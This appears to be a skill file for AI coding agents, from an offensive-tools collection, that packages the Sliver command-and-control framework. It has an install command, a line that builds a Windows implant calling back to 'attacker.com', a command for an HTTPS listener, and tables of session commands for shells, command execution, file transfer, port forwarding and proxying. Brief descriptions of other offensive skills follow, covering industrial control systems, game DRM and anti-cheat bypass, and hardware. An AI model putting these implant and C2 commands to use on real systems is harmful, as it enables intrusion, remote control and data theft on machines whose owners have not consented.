offensive-tools/c2/sliver/SKILL.md
Sliver: open-source adversary simulation C2 framework by BishopFox supporting mTLS, WireGuard, HTTP/S, and DNS transports with per-binary asymmetric encryption. Use when deploying C2 implants, generating cross-platform beacons, managing multi-operator engagements, or executing BOFs via the armory.
npx skillsauth add aeondave/malskill sliverInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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Open-source C2: mTLS, WireGuard, HTTP/S, DNS.
./sliver-server
./sliver-client
generate --http https://attacker.com --os windows --arch amd64 --save implant.exe
https -l 443 -d attacker.com
use <session-id>
| Command | Purpose |
|---------|---------|
| generate | Build new implant |
| generate beacon | Async beacon with check-in interval |
| jobs | List active listeners |
| sessions | List active sessions |
| use <id> | Interact with session |
| shell | Spawn interactive shell |
| execute <cmd> | Run command |
| download / upload | File transfer |
| portfwd add | Port forwarding |
| socks5 start | SOCKS5 proxy via session |
| armory | Install BOF/extension packs |
| Transport | Flag |
|-----------|------|
| mTLS | --mtls <host>:<port> |
| HTTP/S | --http <url> |
| WireGuard | --wg <host>:<port> |
| DNS | --dns <domain> |
| File | When to load |
|------|--------------|
| references/ | BOF execution, multiplayer setup, OPSEC notes |
data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.